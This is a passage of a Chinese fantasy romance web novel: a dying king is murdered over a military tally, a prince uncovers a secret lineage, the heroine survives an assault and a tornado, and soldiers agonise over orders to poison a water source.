稍时,嘴里竟有些发颤,喃喃地低声叹道:“难怪几百年以来,西秦国能够一直在灵空大陆里屹立不倒,也唯独只有他才拥有那股神秘力量的守护。原来,就连如此一个被遗弃了的黄毛丫头都如此忠心爱国,就更别说其他了!而我北烈……” 遂想起那一个个如今已经投降了西秦的降将与如今的危急困境,他的眼里尽是一片悠长,呆呆地沉默了会儿,挂起一脸忧郁道:“看来,我北烈真的是气数将近了……” 他的语气,平淡中带出几丝厌倦,就连眉梢眼角本就已经被岁月与病痛所折磨,仅存下的一点点神采飞扬亦瞬间荡然无存。 说完,竟又再次重重地咳了起来:“咳咳咳咳咳……” 眼里满是苦涩与忧郁,手用力拳成拳头,上面的青筋突突跳动,随之,一大口鲜血再次喷出,顿觉连视线都已变得模糊,吃力地望着衣上云渐行渐远的背影…… 恍恍惚惚之中,竟情不自禁地叫了声:“若曦,这个与你长的一模一样的丫头,骨子里竟比你当年还要倔强,是不是你的灵魂真的得到了重生。若曦,我好想你,好想你……” 力气越来越弱,视线越来越朦胧,终于再也支撑不住。 “扑通”一声,重重地瘫趴在了榻沿边上,如同一条不甚跃离开深水中的鱼儿一般,落在岸边奄奄一息,无助地只能大口大口地喘着粗气。 而就在这时,忽然从一暗处缓缓现出一个黑衣蒙面人身影来,那黑衣蒙面人蹑手蹑脚的朝着榻边的人轻轻踱步过去。 伸手将其一把翻身过来钳制住,瞬时飞快地拔出了手中握着的一把锋利的匕首,紧紧抵在他的脖颈上逼问道:“兵符在哪儿?” “什…什么…什么兵符?”老国君已然语不成句,气喘吁吁地道。 那黑衣蒙面人瞬间没了耐心,顿时朝起俯身下去,眼神直勾勾狠狠地盯着他道:“都要死到临头了,还装什么蒜?当然是北烈皇室的‘天马兵符’咯。” 老国君强撑出一股力气来对其冷冷笑了一声:“哈哈哈哈哈”,继而又孱弱地道:“你…你来晚了,兵符…兵符…我…我已经将它传给…这片草原未来的王了。” “你说什么?”黑衣蒙面人一听,顿时惊呆了,手上的力气随之不知不觉中亦加重了几分。 老国君忽然受力一惊,又止不住地咳了起来:“咳咳咳咳咳……” 这时,许是因为分神。那黑衣蒙面人一不小心,竟忽然从身上掉落下一把剑鞘与剑柄上俱都金光闪闪,镶嵌着许多红绿色宝石的名贵短剑来,刚好落在了老国君的身旁。 老国君吃力地定了定神朝其横了一眼,顿时认出了那把自己熟悉的不能再熟悉的短剑来,继而一脸惊愕至极地怔望向蒙面人那霎时亦变得心虚了下来的眼睛,道:“你,你,你是……” “哧……” 未及其将话说完,黑衣人见身份暴露,竟猛地高高举起那把抵在老国君脖颈上的明晃晃的匕首,兀自狠狠的从其左胸口处将其刺穿。 顿时,一大滩鲜血涌出,染红了一大片…… 而此时,衣上云在刚一迈出老国君的帐篷后,不得片刻的歇息,便已经迫不及待地踏着月色,带着这块天马兵符驰骋在这片大草原上,直往军营方向策马奔去。 她在心里默默地盘算着,完成了这个任务,她便就彻底自由了。 这场战争,看起来,西秦必是赢定了。战神果然不愧为战神。 然一想到轩辕翰,她的心中顿时似是有一股暖流注入,却又更多的是无助的忧伤。 或许,接下来,她应该去东宁国看看。那个她的母亲曾经到过的国度,究竟是怎样的? 而此时,位于北烈国东境,一牧民的简陋帐篷里。 很快便会到达与易君浩约定的汇合地点的梅志煊,正独自一人双手负后着,对着一盏昏黄的烛火发呆。 此时,他的脑子里所浮现出的全都是轩辕玥的一颦一笑,她对他的决心,还有那个疯狂的让自己至今想起来都觉得有些难以置信的夜晚。 却是到了最后,一张仿若被天工雕刻过的脸庞上,两道浓黑的剑眉终是深深地皱了起来,全都化作了无尽的黯然与惆怅。 忽然,一名侍卫满脸欣喜,脚步匆匆地走了进来,朝其背影极为尊敬地抱拳行礼道:“恭喜殿下,贺喜殿下。” “什么事,如此开心?”梅志煊无精打采地眼睛斜都不斜他一眼,只淡淡地问。 “恭喜殿下,殿下很快便要做父亲了。”侍卫忙激动地道。 闻此,梅志煊似是都不敢相信自己的耳朵,顿时转身回过头来朝其惊讶地问:“什么?你说…玥儿她…她怀孕了?这是真的吗?” 侍卫笑着连连点头帮其确认:“千真万确,宫里的太医已经确认过,足足已有三个月了,恰好刚刚是殿下离开东宁的那日。” 梅志煊冰冷的脸上忽地变作一脸狂喜,似是还在呆呆地傻笑,一贯那般沉稳冷静的一个人,竟开始不停地来回在帐篷里踱起大步来。 看那着急又兴奋的架势,如若轩辕玥此时就在其面前,他恨不得将其高高举至头顶,向所有世人宣告这一振奋人心的时刻。 而这时,侍卫脸上却忽又眉头深锁着似是有些迟疑,有些不好的预感,一边将一封密信缓缓拿了出来递到梅志煊面前,一边说道:“殿下,这是刚刚收到的安排在宫里监视娘娘举动的人所截下来的娘娘传回母国的书信。” 梅志煊似是等这封信已经等了很久,然此刻,当它终于如愿出现在自己面前的时候,却忽然又变得迟疑了起来。 他木讷地怔看着侍卫递至面前来的密信许久,却都不敢伸出手去接。 最后,却终是鼓足了勇气,咬牙一把将其接过展了开来。 很快便扫完了寥寥几字,却顿时怔愣住,似是被信里的内容惊呆了。 侍卫一见,忙上前关切地问:“殿下发生了何事?” 梅志煊没有急着回答他,只是一动不动地沉默着,沉默着,沉默着…… 一双深邃的眼眸渐渐瞪大,又渐渐眯起,直至渐渐变得凉凉…… 回过神后,他一脸凝重地缓缓举步近身到烛火边将信引燃。 呆呆的对着手里正在一点点化为灰烬的信笺,似是若有所思着沉默了许久许久。 待到其全部化为灰烬,灰烬亦没有了丝毫温度,直到其手中仅剩下的一点点残留,最后亦被一股微风拂过吹落扬去,方才沉声说道:“你绝对想不到……” 第三百九十六章:悟 暗自沉思了很久,梅志煊眉头深锁着沉声说道:“你绝对想不到,嫡母后她的真实身份……” “是探寻有关嫡皇后的身份的事...已经有眉目了?嫡皇后,她是……”侍卫等不及着急地问。 梅志煊的话已然到了嘴边,却还是不敢相信地再次呆呆默思了会儿。 最后,表面上故作看似无比云淡风轻地低低道:“嫡母后,她便就是那个多年前被西秦国所遗失了的守护者后人,名曰‘若曦’。” “什么?”侍卫顿时朝其瞪大了眼睛,惊叫了一声道。 定了定神稍一回想,侍卫瞬间又有了更为惊诧的发现,遂看向梅志煊的侧脸道:“嫡皇后若便就是那名遗失了的西秦守护者后人的话,那我们寻找了多年的嫡公主,她岂不亦就是...拥有那股神秘力量的西秦守护者遗孤。” 梅志煊心里,又何尝不早就这样认为着。顿时间,他垂首下去盯視着地面,只觉得脑袋里一片混乱。 这忽然传来的所有消息,竟让他是那样的猝不及防。 他着实又惊,又喜,又忧,又怕,似是被置至到云端,又似被打入了地狱。 他在心里一遍又一遍不住地问,怎么会这样?怎么会是这样? 于茫茫人海之中,寻寻觅觅找了这么多年,西秦守护者竟然曾经就在他的身边出现过,就是他从小到大心中唯一最敬重的嫡母后。 而如果衣上云真如他们所猜想的,是嫡母后所留下的血脉,一旦确认了其身上也有着与嫡母后同样的凤凰印记,那所有一切真相便就都浮出水面了。 可一想到轩辕玥,如今她竟怀了自己的孩子…… 正埋头沉思着,侍卫忽然在一旁后知后觉地低声欲言又止道:“可这件事,显然娘娘也已经知道了。那不知西秦那边……” 梅志煊吐了口浊气,幽幽道:“是啊!她曾经那般对我信誓旦旦地说,她对守护者之事一无所知,可如今却向母国告密说,西秦守护者,那个身上有着凤凰印记的人便是我东宁国已逝的嫡皇后……” 梅志煊说着再次回到了烛火旁,对着其所在正发出来的一片微微光芒,心里忽然变得好冷好冷。 依旧背对着侍卫,愣愣地说完,置于身前藏在袖中的一只愤怒的拳头紧紧握了起来,青筋突突跳动…… 莫非,那秦王轩辕翰亦已经知道了守护者凤凰印记的事。 如此说来,他对世人宣称皇妹已死,其实是……为了故意以此来掩人耳目。 沉思想着想着,梅志煊似是忽然间明白了什么,忽觉眼前一亮,继而舒展开眉头抬起头来转身回去朝着侍卫一脸兴奋地道:“如此,这就全都对了,一定是这样,一定是这样的。” 侍卫不解地问:“殿下在说什么?什么都对了?又是什么样子?” 梅志煊落座回去,道:“本皇子终于彻底明白了,皇妹她根本就没有死。” “嫡公主没有死,殿下何以见得?”侍卫疑惑地问。 虽然一直以来,因为顾忌到梅志煊的感受不敢明说,然所有人几乎都已经相信了轩辕翰向世人所宣布的衣上云已经身亡的事实。 梅志煊细致分析道:“既然玥...那个西秦公主知道守护者的事,那轩辕翰自是也一定已经得知了皇妹便是守护者的身份。而为了掩人耳目,她一定是将皇妹秘密藏起来了。他早已经料到,皇妹的身份一旦暴露,便会遭到整个天下的抢夺,皇妹便会成为众矢之的。如今,西秦国就皇妹的谣言众说纷纭,如此下去,早晚有一日一定会出事的。所以,那秦王轩辕翰便借机对世人宣布皇妹已死,他其实...是想保全皇妹。” 侍卫听了瞬间明白了过来,亦是颇为认同:“如此说来,这个秦王轩辕翰还真是奸诈,我们差点儿就中了他的奸计。”却转而又问:“那接下来,我们该怎么做?” 梅志煊昂起首来,理直气壮地道:“我们...当然是要赶快找回皇妹,带她回去认祖归宗。从此以后,她便再也不是什么西秦守护者了,而应该是我东宁嫡公主才对。” 侍卫欣喜地道:“如此一来,那股神秘力量亦随着嫡公主的回归,顺其自然地属于了我东宁才对。相信有了这股神秘力量的助力,东宁国一定会称霸于整个灵空,强于其他任何一个国家的。” 一念至此,侍卫忙抱拳朝其恭贺说道:“看来,我们统一灵空的大业,指日可待了。殿下,我们赶快将这个好消息传回宫里告诉国君吧,相信国君得知此事后,一定会龙颜大悦的。” 岂料梅志煊顿时将其拦住,厉声说道:“万万不可,这件事除了你我二人以外,永远都不能让任何人知道。” 手一伸,做了个手势,侍卫忙朝其近身凑上前去,俩人的如意算盘,就这样开始悄悄地打了起来…… 赶了一夜的路,天终于亮了。 夏日炎炎,即使只是一大早,太阳当头照着也是毒辣的异常让人难以承受。 衣上云一直向着太阳升起的地方策马疾驰着,这一路似是被马颠簸地感觉自己浑身上下的骨头都快要散架了。 要命的是,她这一向如同婴儿般娇嫩的肌肤,因为出汗,以及路上的环境加之又极度恶劣,这会儿身上生出了许多的痱子,奇痒难忍。 而更重要的是,她身上的水囊也早就已经空空如也。 她感觉自己要是再找不到水源的话,一定会被渴死在半路上。 这是一条与北烈极干旱的大漠极为接近的路,道路崎岖不平不说,水源更是愈来愈少。 一路上,她根本就没有遇到任何湖泊,哪怕只是涓涓细流。 就在她已经被疲劳和头顶的一轮骄阳炙烤得奄奄一息,仿佛此时整个跨在马背上的都已经不是她自己。 只感觉一个轻飘飘,恍恍惚惚,摇摆不定的身子早已在摇摇欲坠着。 忽然,迎面吹来了一股凉凉的风。 她这才似是灵魂再度又回到了这个身体里一般,一个激灵,忽地缓过神来,惊道:“莫非,前面有水源。” 一念至此,她忍痛大力地抽了一下马股,对马儿拜托道:“马兄啊马兄,我们俩个大活物,可不能就这样渴死在半路上便宜了这草原上的秃鹰和野狼啊。快跑快跑,前面一定有水喝。相信我,这次,我一定不会猜错的。” 然马儿却极其轻蔑地朝她瞪了一眼。 这一路上,它已经听她说过太多这样的话,可显然没有一次是正确的。 马兄虽然极不情愿,却依旧不得不听命再次疾驰奔跑了起来。 出乎意料。 在翻过了一个小山坡后,她们的眼前真的现出了一条蜿蜒曲折的小河来。 那清澈见底碧绿的河面上泛着点点光波,照在人的脸上,仿若是一颗颗珍贵的宝石般耀眼夺目。 她实在是渴的不行了,索性便一步跃下马来,与马兄一同迫不及待地朝其俯冲了过去,置身其中享受起这久违了的清凉来。 许是太贪婪这股来之不易的清凉,她与她的马兄在此歇脚,嬉闹了许久许久。 马兄依然在河边贪婪地敞开肚子畅饮着,她则兴奋过去之后,枕着双臂躺在了一边宽旷的青草地上的一棵树下借着一片阴凉纳起凉来。 正所谓“心静自然凉”,她努力收起自己所有的思绪闭目养神着,如此,身上的痱子便就不会那样难受了。 虽说四下里亦没什么人出没,她亦是不敢敞开了胆子就这样去河里享受一番天浴,只能将就着沾湿帕子来擦擦。 刚刚好不容易静躺着平静了下来。 忽然,神不知鬼不觉似是从天而降,凭空而生的一把明晃晃冰凉的匕首轻轻地架在了她细长漂亮的脖颈上。 “哗”的一下,她惊愕地将那双好看的凤眸打开。 愣了一下,对那不知从哪儿冒出来的一名黑衣蒙面人正蹲身下来在自己头顶,对她所投来的一双直勾勾,其中又有些隐隐看不明似是迷离的眼睛叫了声:“你是什么……” 几乎是与她同时一起,那黑衣蒙面人见她想要起身来,亦对她疾喝叫了声:“别动!” “人”不得已,衣上云低低收敛了声音。 黑衣蒙面人盯視着她的眼睛,确定她不会乱动了,方才缓缓站起身来。 岂料衣上云抿了抿嘴,竟大胆地问:“你到底是什么人?想要干嘛,劫财还是劫色?” 黑衣蒙面人顿回看向她的眼睛,似是被她的话惊了一下,转而又双手负后着望向眼前的一片广袤大地道:“我,我既然站在这片大草原上,自然就是这大草原上之人。” 衣上云想了想,见他言语闪避,便毫不惧怕地再次朝其挑衅道:“大草原上的人我见得多了,没有人像你这样遮遮掩掩,鬼鬼祟祟的。他们都很豪迈大方,尤其是男子。我看……” 迟疑之际,再次打量了会儿他的背影,道:“你倒像是个来自某个阴暗世界里的无赖。” “‘无赖’,哈哈哈哈哈……”岂料黑衣蒙面人背对着她,突然发出了一阵狂笑来。 衣上云歪着脑袋不解地看着她的背影问:“你笑什么?” 第三百九十七章:天意 衣上云歪着脑袋不解地看着她的背影问:“你笑什么?” 然黑衣蒙面人却并未急着回答她的问题,而是好似云淡风轻地说:“不如,我先回答你方才的第二个问题吧!” “第二个问题?”衣上云蹙眉依旧乖乖躺在草地上,正在回想她方才第二个问题问了些什么? 尚未及她反应过来,那黑衣蒙面人急急怒说了句:“老子今天不但要劫财,还要劫色!”。 一边说着,竟忽地转身直朝着衣上云的身上欺身压了下去。 慌乱之中,已然来不及躲闪,衣上云直接被他欺身上来牢牢地控制住。 她只能本能地使出刚刚恢复了些许的全部力气来,用脚大力地胡乱蹬踹着那黑衣蒙面人的下身。 而那黑衣蒙面人力气实在太大,一直都死死禁锢着她的双手。 任凭她使出再大的力气想要扯掉他脸上的蒙面巾来看清楚来人的面目,却是丝毫都办不到。 她的双脚一边好似风火轮般卖力蹬踹着,同时两只胳膊也使出了全力来胡乱挥动不让自己停下来。 眼睛集中了所有注意力,寻找着一线逃生的机会。 为了分散对方的注意力,她又咬牙开始破口叫骂:“放开,你放开我。你到底是什么人?这一路上根本就没有任何水源,不可能有牧民生活在附近。你究竟是从哪里开始尾随起我来的?若是想打劫,那你就真找错人了,我身上一贫如洗,身无分文。若是要劫色,日后我定会让你付出沉痛的代价。走开,快走开!” 就在那黑衣蒙面人正一脸邪笑着欲发力将其双臂压倒至她的两侧时,忽然瞥见了衣上云手腕上的那只七彩金丝彩玉镯子好像闪出了一道光芒。 于是,他立刻朝其用力地挤了挤双眼,想要将它仔细看清楚是不是他的错觉? 而就在他眨眼之际,衣上云终于眼疾手快地等到了机会,一脚大力的狠狠踢到了他的下身要害处。 “嗯……” 顿时间,伴随着黑衣蒙面人所发出来的一阵闷哼声,只见他猛地跳起身来,双手紧紧搂抱住他小腹部下方的位置,顿现出了一脸痛苦之色。 借此机会,衣上云倏的一下,急急站起了身来,直朝着河边的马兄身旁奔了过去。 正欲提腿跨上马背逃去,怎料那黑衣蒙面人竟已喘过了气来再次出现在她的身后。 上去一把大力的将她弱小的身子举了起来在半空中,在她尚还未落的惊呼声中,已被狠狠地丢到了脚下的河里。 还好,河水并不是很深。 衣上云一落入水中,便挣扎着赶忙坐起身来,一边捋着满脸的河水,一边朝那黑衣蒙面人愤怒地大声怒骂道:“你是不是疯了?劫财劫色,难不成还要杀人灭口?” 然那黑衣蒙面人却只一动不动的站在其旁边,两只寒光四射的眼眸直直瞪视着她,似乎极其满意看到她此时这番湿身的窘迫。 衣上云刚一从河里站起,那黑衣蒙面人又气呼呼地再次举步朝其冲了上去。 从她的后面一把捏住了她细长的脖子,继而凑近到她的耳边咬牙狠狠道:“快把天马兵符交出来?” “什么...什么天马兵符?”衣上云闻声,心下里顿了一下,继而佯装出一无所知地道。 “少在我面前装蒜,那个该死的老头是不是把天马兵符交给了你?”黑衣蒙面人咬牙切齿地道。 “你要天马兵符做什么?”衣上云探问。 黑衣蒙面人想了想,冷笑着道:“哼,看来,你是真的已经知道了这块兵符的重要性?” “你想要做这草原上的王?”衣上云猜忌着道。 “是又怎么样,不是又怎么样?这片草原,无论如何,到最后,都只能是属于我的,谁都阻挡不了。”黑衣蒙面人一副胸有成竹,势在必得的样子。 “既然你这般自信,那还要这兵符做什么?此时不去上阵杀敌,反道与我一个弱女子在此做这等无谓的纠缠?若是在战场上赢了,不照样可以被拥护称王么?那样得来的江山地位,不应该才是最永久稳固,心安理得的吗?”此时一边说着,衣上云似是心里已经有了些许猜想。 眼珠子咕噜一转,接着又道:“你一定是已经抵挡不住西秦大军了,所以才想要用兵符来发动所有兵力做最后一搏?” 一语刺中了黑衣蒙面人的心窝,他顿显气急败坏地道:“闭嘴!你懂什么?你这个女人,竟敢去勾引那个胆小怕事的懦夫。他究竟有什么好?你宁可选他,也不愿意跟我。” 黑衣蒙面人一面说着,将手里的力道无意地加重了几分。 衣上云顿时被捏的脸红脖子粗,似是都喘不过气来,艰难地道:“你在说什么?什么胆小鬼?我听不懂。” 然也正是因为这一句,她的心里却也瞬间彻底明白了过来,眼前的这个人,一定是与她所熟识的人,在这里,谁会如此对她呢? 就在这时,“咣当”一声,忽然从那黑衣蒙面人的身上落下了一把看似极名贵的短剑来。 那剑鞘与剑柄上俱都金光闪闪,镶嵌着许多红绿色宝石。 衣上云涨红着脸,微微低头朝其斜了一眼,顿时只觉得有些眼熟。 刹那间,脑海中一幕残碎的片段闪过,这把短剑,正是当时自己在西秦城南坠落悬崖时,拓跋泽逼在自己脖颈上的那把一模一样的短剑。 一念至此,她双手拼尽全力扯着附在自己脖颈间黑衣蒙面人的手,吃力地挤出几个字来道:“你是...拓跋……” 岂料话刚开口,自己藏在身上的天马兵符竟忽然掉落到了地上。 黑衣蒙面人垂首看着落在俩人脚下的那块兵符,顿时惊诧极了地朝其怔愣住。 一回过神来,兀自弯腰下去,另一只大手倏的一下便捞起了那块心心念念了许久的天马兵符端详了起来。 片刻后,忽昂首开怀大笑了一阵:“天意,这都是天意,哈哈哈哈哈...哈哈哈哈哈……” 转而又看回向衣上云惊诧的脸,说道:“果然不出我所料,天马兵符还真在你这个女人的身上。你是想要将他拿去交给那个窝囊废,让他借着战乱之际成为救世主,帮他顺理成章做这草原上的王吗?” 说完,便狠狠地一把松开了附在衣上云颈上的大手,衣上云的脖颈早已被掐出了道道深深的指痕,重重地瘫倒在地上,用力地呼吸着。 而就在黑衣蒙面人转身抬头想要长长地舒一口气之际,一大口气刚提起来。 却见,方才明明还是骄阳似火的湛蓝天空中,忽变得一片昏暗,厚厚的乌云似是就在他的头顶上一层接一层地低低翻滚着。 顿时,伴随着阵阵炸响的惊雷,巨大的狂风亦如洪水猛兽般咆哮而起,劈头盖脸地便朝他全身袭来。 瞬间,他双眼紧紧闭起,似是再也没有机会睁开来半分,一只手紧握着尚还来不及收起的天马兵符,另一手摇摇摆摆地吃力遮在那蒙面巾早已被狂风吹得无影无踪的面前。 衣上云摊在地上,此时将他的嘴脸看的一清二楚。 在那巨大的风声里发出就连自己都只能隐隐听到的一点儿声音来道:“果然是你,拓跋泽!” 雷声轰隆隆不断,空中闪电亦不知何时已伴随而至。 周围顿时遮蔽天日,黄沙漫天飞舞,到处黄茫茫的一片。 忽然,天边不远处,那强劲的风竟将泥土,还有大树以及许多不明物体全都卷到了半空中,渐渐与天相接在一起,迅速形成了一条接天风柱。 那巨大的风柱如同一条巨龙一般,竟开始飞快地旋转并极其快速地移动开来,向着俩人方向袭来。 衣上云似是感应到了这股巨大力量,遂吃力地睁开眼来,一瞥见那庞然大物,便大声惊叫道:“糟了,是龙卷风。” 眼看着其速度快的惊人,所到之处,所有一切都被卷入其内,瞬间无影无踪。 “快走!龙卷风来了!”衣上云大喊了一声,继而挣扎着起身来。 “往哪儿逃啊,一切都来不及了!”拓跋泽这才看了眼那已经如此逼近的飓风,整个人瞬间都愣在了原地里,惊呆了。 就连手中握着的他看的比自己性命还要重要的天马兵符悄悄滑落在地上,亦未察觉。 在这片大草原上,没有人比整日里处处征战的他更熟悉,龙卷风是多么地恐怖。遇到之人,哪儿还有生还的可能? 衣上云独自急急朝着四周寻觅着,想找一处可以用来避身的地方,却是空无一物。 那些单薄的树苗,何以撼动龙卷风的强度丝毫。 忽然,她的眼前顿时一亮,竟瞥见了不远处有一低洼大坑,忙叫道:“看见了吗?那个坑,快跳进去,快呀!” 拓跋泽闻声,这才回过神来,一把将衣上云紧紧拉起疾跑过去跳入了坑内。 俩人双臂抱头,脸俱都朝下低低俯身着,嘴巴和眼睛紧紧闭上,蜷缩在一起隐了起来。 就在这时,拓跋泽忽然发出一惊声,道:“糟了?” 衣上云:“怎么了?” 第三百九十八章:误入大漠 眼看着龙卷风马上就要一路席卷将至,拓跋泽忽然惊叫道:“糟了?” 衣上云问:“怎么了?” 拓跋泽简直不敢相信地忽睁开眼睛,看向衣上云的脸,愣愣地道:“兵符不见了。” 衣上云闻声亦顿时睁开眼来怔望向他,惊诧地道:“什么?你说你把那被你看的比自己性命还要重要的天马兵符...给弄丢了?这是什么时候的事?” “就是方才你说龙卷风来了的时候,我心下里一着急,不小心就……” 未及拓跋泽将话说完,衣上云竟忽地起身来朝后退了两步。 拓跋泽大惊失色地朝其道:“你要做什么?还不赶快蹲下!龙卷风马上就要过来了。” 只见衣上云娇小的身子稍一蓄势后,忽然迸发出一股强大的力量来,抡起胳膊便飞快地朝前方冲刺了过去。 几步之后,忽轻轻地抬起一脚来,左不过脚尖在坑壁上连点了两三下而已,便已稳稳地踩在了坑上沿。 继而“嗖”的一下极灵巧地一步跃了上去,丢下寥寥几字回荡在身后的空气里:“呆在那儿别动,我去找回兵符。” 拓跋泽一见,忙起身来伸出手去欲将她拽回,却是什么都没有抓住,又兀自退了回去俯身趴下,嘴里又急又气地道:“你这个蠢女人,是不是疯啦!不要命了么?!” 衣上云一赶回到方才俩人发生纠缠争执的地方,朝着四周急急扫了一圈。 除了只见她的马兄被飓风吹得跌跌撞撞地似是根本就已经无法再站立,而她已然完全顾不上它,却也是直到最后什么都没寻到。 情急之下,她咬了咬牙,竟“扑通”一声跪倒在地上,赤手地毯式地直接在脚下的一大片草堆里跪行着摸索起来。 一边急急寻找着,一边紧张至极又尽力隐忍着努力使自己能够镇定一些下来,口中喃喃鼓励自己道:“将天马兵符亲手交到二皇子手中,这是我答应了老国君一定要办到的事,我就务必一定要做到。兵符啊兵符,你快出来,快出来,快出来,我一定能找到,一定能找到,一定能找到……” 眼看着身后接天的龙卷风离她越来越近,不远处洼坑里的拓跋泽在巨吼呼啸的风声里朝其大声疾呼着:“蠢女人,不要找了,快回来,你会没命的!” “我一定可以的,一定可以的……” 然衣上云却似根本就什么都没有听到,只兀自继续着手里的动作,以及口中那自己给自己打气的喃喃之音。 此情此景,拓跋泽竟然拿这个固执至极的女人一点儿办法都没有了。 他大力地一拳狠狠砸在了洼坑边沿上,似是后悔极了! 后悔他为什么没能将那块天马兵符保护好,怎么会那么不小心将他落下? 恨他为什么会尾随她至此来,与她在此纠缠耽搁了这么多时间。 若不是因为他,或许她早都已经歇好脚,策马离开这里了,便不会遇上这样的灭顶之灾。 若是她真的出了什么事,那该怎么办?怎么办? 这个女人,显然已经进入了他的骨子里。 正在着急无错中,另一边的衣上云顿觉眼前一亮,继而满脸欣喜地怔望着地上草堆里被自己鲜血淋淋的双手,刚刚扒出来的那块熟悉的天马兵符道:“谢天谢地,终于找到你了。” 然就在她刚刚拾起那块兵符起身来一转身,便见龙卷风已迎面朝她呼啸而至,而自己已然来不及避开。 她瞪大了眼睛看着眼前那如接天长龙般的风柱,整个人瞬间都惊呆了。 那飓风和响声似是都快要将自己的身体撕裂,震碎,吞没一般,依稀还听到耳边隐隐传来身后拓跋泽的疾呼声:“跑,快跑呀!” 霎那间,便与她的马兄,还有方才她纳凉的那棵树,瞬间全都随着龙卷风的离去一起消失地无影无踪。 而躲过一劫的拓跋泽,终于亦跌跌撞撞地爬出了洼坑来。 此时,他愣愣地看着龙卷风席卷过后的一地狼藉,身子忽然一软,顿时跪倒在地。 沉默了一会儿,忽仰面朝天撕心裂肺地失声大叫了起来:“蠢女人,你这个蠢女人!” …… 沉沉暗夜,万籁俱寂。 北烈北部的一片茫茫大漠上,经过白日的太阳如烈火一般地炙烤后,尽管夜幕早已经降临,阵阵热浪袭来,依旧似蒸笼一般让人喘不过气。 似是偷偷摸摸怕被人发现,所以只燃起了一堆极小的篝火。 篝火旁,一老一少,两名北烈国士兵正摘掉沉重的盔甲的束缚,一坐一卧着进行短暂的歇脚。 在他们身旁,隐隐约约貌似还有个女人正静静地躺在黄沙上一动不动。 “这茫茫大漠里,怎么会忽然从天而降下这么一个弱女子来?长相看起来倒是挺大方秀气的,气质也似生来就尊贵的模样,却不像是咱们草原上的女子。” 年迈的士兵将脸微微朝后再次瞥了一眼,兀自回过头去注视着眼前的篝火堆,对身旁的年轻士兵纳闷不解地说道。 年轻士兵正翘着一条腿,枕着一手臂惬意地仰面平躺望着头顶的一片低低的满天繁星。 闻声,他举起另一手中握着的酒囊来独自灌下了一大口烈酒,继而冷笑了一声,看都不看他,不以为然,语气轻蔑极了。 “弱女子?鬼才知道她是做什么勾当的呢?若真是好人家的女子,一定是待字闺中,乖乖呆着苦练琴棋书画什么的,怎么会如她这般落到这里来?” 顿了顿,深深舒了口气,沉声极为谨慎地补了句道:“眼下正值战乱时期,咱们还是诸事小心为妙。搞不好,她会不会是那诡计多端的西秦派来刺探我北烈军情的探子呢?” 年迈士兵听了,顿时心里一惊:“看她那柔柔弱弱的样子,不会吧?” “人心隔肚皮,你又如何知道她不是一只披着羊皮的温顺的狼呢?”年轻士兵挑了挑眉,道。 “无论如何?等她醒了以后先问问再说吧!” 见那年轻士兵似是对自己的主意总算是没有反对,年迈士兵深深舒了口气,垂首看着自己手中正紧紧握着的一个小瓷瓶,转移了话题。 “咱们北烈人一向都十分珍惜水源,谁往水源里吐口唾沫星子都要被割去舌头。可咱俩现在却要亲手往水里去投毒,这可真是造孽啊...唉!” 话一说完,年迈士兵便重重的一把拍在了自己的大腿上,像是格外的懊恼、愤怒、又无助。 年轻士兵的脸色上虽也显出了一脸凝重,却也没说什么。 沉默了会儿,待情绪恢复了些许后,年迈士兵再次开口说:“你说,我们这样做究竟是对是错?这毒若是一旦被下入水源的话,死的可不止是西秦的兵将,更多的是我北烈国成千上万的子民啊!以此来杀出一条血路突围,我们的代价未必也太高了吧!” “不管是对是错,我只知道,如果我们不这么做,大皇子一定不会饶过我们。”那稚嫩的年轻士兵又闷了一大口酒,似是颇为无奈的答他道。 “可这更是关乎我北烈太多无辜牧民的性命,我们这样做,会不会遭天谴呢?”年迈的士兵惶恐不安,于心不忍地道。 “他们不死,你我就得死。我家中上有老下有小,我若是死了,他们怎么办?我没得选,你也没有。他们要怪,就全都怪在西秦大军的头上吧!我们但凡要是有一点办法突围,也不会走到这一步。”年轻士兵顿坐起身来,咬牙恨恨地道。 年迈士兵重重地叹了口气,又沉默了下来。 只不过须臾,他忽觉眼前一亮,道:“听说那西秦秦王很是善待俘虏。若是愿意留下,便能享受到与西秦兵将同等的待遇,如若不愿留下,还能得到返乡的盘缠呢。” 年轻士兵听了,却是冷冷地哼了一声,看向他的侧脸轻蔑地问:“你亲眼见了吗?” 年迈士兵忽又落入低谷,缓缓摇了摇头。 年轻士兵幽幽道:“天下哪有那么好的事儿?你就别做梦了,只怕这又是西秦军队在故意使什么诈呢?” 说完,似是已有些不耐烦了地道:“好了好了,别说了,要是想要看见明天的太阳,就赶快抓紧时间办事吧!今日一战,不知道我们又死了多少人?!” 就在俩人正欲起身来时,忽从身后炸出了一女子的声音:“别动!举起手来!” 俩人微微一瞥见身后女子手里正握着他们俩人的佩刀,将其抵在二人身后,只得乖乖照做。 三人一起互相打量,沉默了片刻,年迈士兵先欣喜地开口道:“姑娘你终于醒啦?” “你们刚才在说什么毒,死什么人?”女子自顾握起一只小拳头来砸了砸自己似是欲要裂开的脑袋,寻着方才隐隐如梦中听到的声音只问了句。 “什么毒?死什么人?”年迈士兵心虚地低声喃喃重复了句。 这时,年轻士兵扬声答道:“姑娘不要误会,我们是北烈国的士兵,对姑娘并无恶意。实在是因为今日与西秦的一场大战不慎与队伍走散了,方才落至此荒漠之中。半道中,忽又见姑娘从天而落。怕这里的狼夜里惊了姑娘,便在此守着等姑娘醒来。” 女子正将信将疑地琢磨着这俩个看起来鬼鬼祟祟的人,忽瞥见年迈士兵手中握着的小瓷瓶,便快步上前去一把将其夺过,问:“这是什么?” 第三百九十九章:大漠中最可爱的人 女子正将信将疑地琢磨着这俩个看起来鬼鬼祟祟的人,忽瞥见年迈士兵手中握着的小瓷瓶,便快步上前去一把将其夺过,问:“这是什么?” “这个你不能……”年迈士兵忙回过头来紧张地朝其叫道。 两名士兵的心俱都蓦地一抖,遂四目相对了一瞬。 年轻士兵突然趁其不备,眼疾手快地竟伸出一手上前去抢。 却不知女子的余光早已扫见了他的细微动作,只是身体微微一侧,那士兵便扑了个空,怔怔落在沙漠上摔了个狗吃屎,还吃了满嘴的沙子。 因为发力太猛,一脸痛楚地挣扎了半晌,最后还是在年迈士兵的搀扶下方才立起身来。 年迈士兵这才缓缓开口解释说道:“姑娘有所不知,这里面是我们俩走出这片大漠所仅剩下的最后弥足珍贵的几口饮水了,真的没什么奇特,姑娘你行行好,就将它还给我们吧,没有了它,我们一定会死的。可好?” “哦?既然是饮用的水,又怎么会这么奇怪,竟用装药的瓶子来装?”女子蹙眉甚是不解地问。 说话间,忽一瞥见篝火堆旁的年轻士兵所落下的水囊,便指着问:“你们不是有水囊吗?它为何不是留在水囊里?” 